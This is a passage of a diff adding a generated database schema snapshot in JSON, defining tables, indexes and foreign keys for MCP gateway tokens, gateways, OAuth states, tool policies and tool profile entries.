+        },
+        "owner_note": {
+          "name": "owner_note",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "allowed_actions": {
+          "name": "allowed_actions",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[\"tools/list\",\"tools/call\"]'::jsonb"
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expiry_override_reason": {
+          "name": "expiry_override_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expiry_override_by_user_id": {
+          "name": "expiry_override_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expiry_override_by_agent_id": {
+          "name": "expiry_override_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expiry_override_at": {
+          "name": "expiry_override_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_mcp_gateway_tokens_token_hash_uq": {
+          "name": "tool_mcp_gateway_tokens_token_hash_uq",
+          "columns": [
+            {
+              "expression": "token_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateway_tokens_gateway_idx": {
+          "name": "tool_mcp_gateway_tokens_gateway_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "gateway_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateway_tokens_subject_idx": {
+          "name": "tool_mcp_gateway_tokens_subject_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "subject_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "subject_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateway_tokens_company_expires_idx": {
+          "name": "tool_mcp_gateway_tokens_company_expires_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_mcp_gateway_tokens_company_id_companies_id_fk": {
+          "name": "tool_mcp_gateway_tokens_company_id_companies_id_fk",
+          "tableFrom": "tool_mcp_gateway_tokens",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateway_tokens_gateway_id_tool_mcp_gateways_id_fk": {
+          "name": "tool_mcp_gateway_tokens_gateway_id_tool_mcp_gateways_id_fk",
+          "tableFrom": "tool_mcp_gateway_tokens",
+          "tableTo": "tool_mcp_gateways",
+          "columnsFrom": [
+            "gateway_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateway_tokens_expiry_override_by_agent_id_agents_id_fk": {
+          "name": "tool_mcp_gateway_tokens_expiry_override_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_mcp_gateway_tokens",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "expiry_override_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateway_tokens_created_by_agent_id_agents_id_fk": {
+          "name": "tool_mcp_gateway_tokens_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_mcp_gateway_tokens",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_mcp_gateways": {
+      "name": "tool_mcp_gateways",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "gateway_public_id": {
+          "name": "gateway_public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'gw_' || replace(gen_random_uuid()::text, '-', '')"
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "slug": {
+          "name": "slug",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "display_slug": {
+          "name": "display_slug",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "profile_id": {
+          "name": "profile_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "default_profile_mode": {
+          "name": "default_profile_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'gateway_only'"
+        },
+        "context_scope_type": {
+          "name": "context_scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'none'"
+        },
+        "context_scope_id": {
+          "name": "context_scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approval_issue_id": {
+          "name": "approval_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "auth_config": {
+          "name": "auth_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{\"version\":1,\"bearer\":{\"enabled\":true,\"tokenPrefix\":\"pcgw\",\"defaultTtlSeconds\":7776000,\"requireFiniteExpiry\":true,\"longLivedTokenRequiresOverride\":true},\"oauth\":{\"enabled\":false,\"reservedFor\":\"v1_5\",\"dynamicClientRegistration\":false,\"authorizationCodePkce\":false}}'::jsonb"
+        },
+        "header_policy": {
+          "name": "header_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{\"version\":1,\"callerPassthrough\":{\"enabled\":false,\"allowedHeaders\":[]},\"staticHeaders\":[],\"generatedMetadata\":{\"enabled\":false,\"allowedHeaders\":[]},\"responseHeaders\":{\"forwardMcpRequiredHeaders\":true,\"forwardSafeCacheHeaders\":true}}'::jsonb"
+        },
+        "metadata_policy": {
+          "name": "metadata_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{\"version\":1,\"forwardCompanyId\":false,\"forwardGatewayId\":false,\"forwardProjectId\":false,\"forwardIssueId\":false,\"forwardAgentId\":false,\"forwardRunId\":false,\"forwardCorrelationId\":true}'::jsonb"
+        },
+        "on_demand_tools_config": {
+          "name": "on_demand_tools_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{\"enabled\":false,\"searchToolName\":\"search_tools\",\"runToolName\":\"run_tool\"}'::jsonb"
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_mcp_gateways_company_idx": {
+          "name": "tool_mcp_gateways_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateways_company_status_idx": {
+          "name": "tool_mcp_gateways_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateways_profile_idx": {
+          "name": "tool_mcp_gateways_profile_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "profile_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateways_public_id_uq": {
+          "name": "tool_mcp_gateways_public_id_uq",
+          "columns": [
+            {
+              "expression": "gateway_public_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateways_company_slug_uq": {
+          "name": "tool_mcp_gateways_company_slug_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "slug",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateways_company_name_uq": {
+          "name": "tool_mcp_gateways_company_name_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_mcp_gateways_company_id_companies_id_fk": {
+          "name": "tool_mcp_gateways_company_id_companies_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_profile_id_tool_profiles_id_fk": {
+          "name": "tool_mcp_gateways_profile_id_tool_profiles_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "tool_profiles",
+          "columnsFrom": [
+            "profile_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "restrict",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_agent_id_agents_id_fk": {
+          "name": "tool_mcp_gateways_agent_id_agents_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_project_id_projects_id_fk": {
+          "name": "tool_mcp_gateways_project_id_projects_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_issue_id_issues_id_fk": {
+          "name": "tool_mcp_gateways_issue_id_issues_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_approval_issue_id_issues_id_fk": {
+          "name": "tool_mcp_gateways_approval_issue_id_issues_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "approval_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_created_by_agent_id_agents_id_fk": {
+          "name": "tool_mcp_gateways_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_oauth_states": {
+      "name": "tool_oauth_states",
+      "schema": "",
+      "columns": {
+        "state": {
+          "name": "state",
+          "type": "text",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "code_verifier": {
+          "name": "code_verifier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_actor_type": {
+          "name": "created_by_actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_actor_id": {
+          "name": "created_by_actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_session_id": {
+          "name": "created_by_session_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "subject_user_id": {
+          "name": "subject_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_scopes": {
+          "name": "requested_scopes",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "return_to": {
+          "name": "return_to",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "interaction_id": {
+          "name": "interaction_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_oauth_states_company_idx": {
+          "name": "tool_oauth_states_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_oauth_states_connection_idx": {
+          "name": "tool_oauth_states_connection_idx",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_oauth_states_actor_idx": {
+          "name": "tool_oauth_states_actor_idx",
+          "columns": [
+            {
+              "expression": "created_by_actor_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_by_actor_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_oauth_states_expires_at_idx": {
+          "name": "tool_oauth_states_expires_at_idx",
+          "columns": [
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_oauth_states_company_id_companies_id_fk": {
+          "name": "tool_oauth_states_company_id_companies_id_fk",
+          "tableFrom": "tool_oauth_states",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_oauth_states_connection_id_tool_connections_id_fk": {
+          "name": "tool_oauth_states_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_oauth_states",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_policies": {
+      "name": "tool_policies",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "policy_type": {
+          "name": "policy_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "priority": {
+          "name": "priority",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 100
+        },
+        "enabled": {
+          "name": "enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "selectors": {
+          "name": "selectors",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "conditions": {
+          "name": "conditions",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "config": {
+          "name": "config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_policies_company_enabled_idx": {
+          "name": "tool_policies_company_enabled_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "enabled",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_policies_company_type_idx": {
+          "name": "tool_policies_company_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "policy_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_policies_company_name_uq": {
+          "name": "tool_policies_company_name_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_policies_company_id_companies_id_fk": {
+          "name": "tool_policies_company_id_companies_id_fk",
+          "tableFrom": "tool_policies",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_policies_created_by_agent_id_agents_id_fk": {
+          "name": "tool_policies_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_policies",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_profile_bindings": {
+      "name": "tool_profile_bindings",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "profile_id": {
+          "name": "profile_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "priority": {
+          "name": "priority",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 100
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_profile_bindings_company_target_idx": {
+          "name": "tool_profile_bindings_company_target_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profile_bindings_target_profile_uq": {
+          "name": "tool_profile_bindings_target_profile_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "profile_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_profile_bindings_company_id_companies_id_fk": {
+          "name": "tool_profile_bindings_company_id_companies_id_fk",
+          "tableFrom": "tool_profile_bindings",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_bindings_profile_id_tool_profiles_id_fk": {
+          "name": "tool_profile_bindings_profile_id_tool_profiles_id_fk",
+          "tableFrom": "tool_profile_bindings",
+          "tableTo": "tool_profiles",
+          "columnsFrom": [
+            "profile_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_bindings_created_by_agent_id_agents_id_fk": {
+          "name": "tool_profile_bindings_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_profile_bindings",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_profile_entries": {
+      "name": "tool_profile_entries",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "profile_id": {
+          "name": "profile_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "selector_type": {
+          "name": "selector_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "effect": {
+          "name": "effect",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'include'"
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_entry_id": {
+          "name": "catalog_entry_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "tool_name": {
+          "name": "tool_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "risk_level": {
+          "name": "risk_level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "conditions": {
+          "name": "conditions",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_profile_entries_company_profile_idx": {
+          "name": "tool_profile_entries_company_profile_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "profile_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profile_entries_application_idx": {
+          "name": "tool_profile_entries_application_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "application_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profile_entries_connection_idx": {
+          "name": "tool_profile_entries_connection_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profile_entries_catalog_entry_idx": {
+          "name": "tool_profile_entries_catalog_entry_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "catalog_entry_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
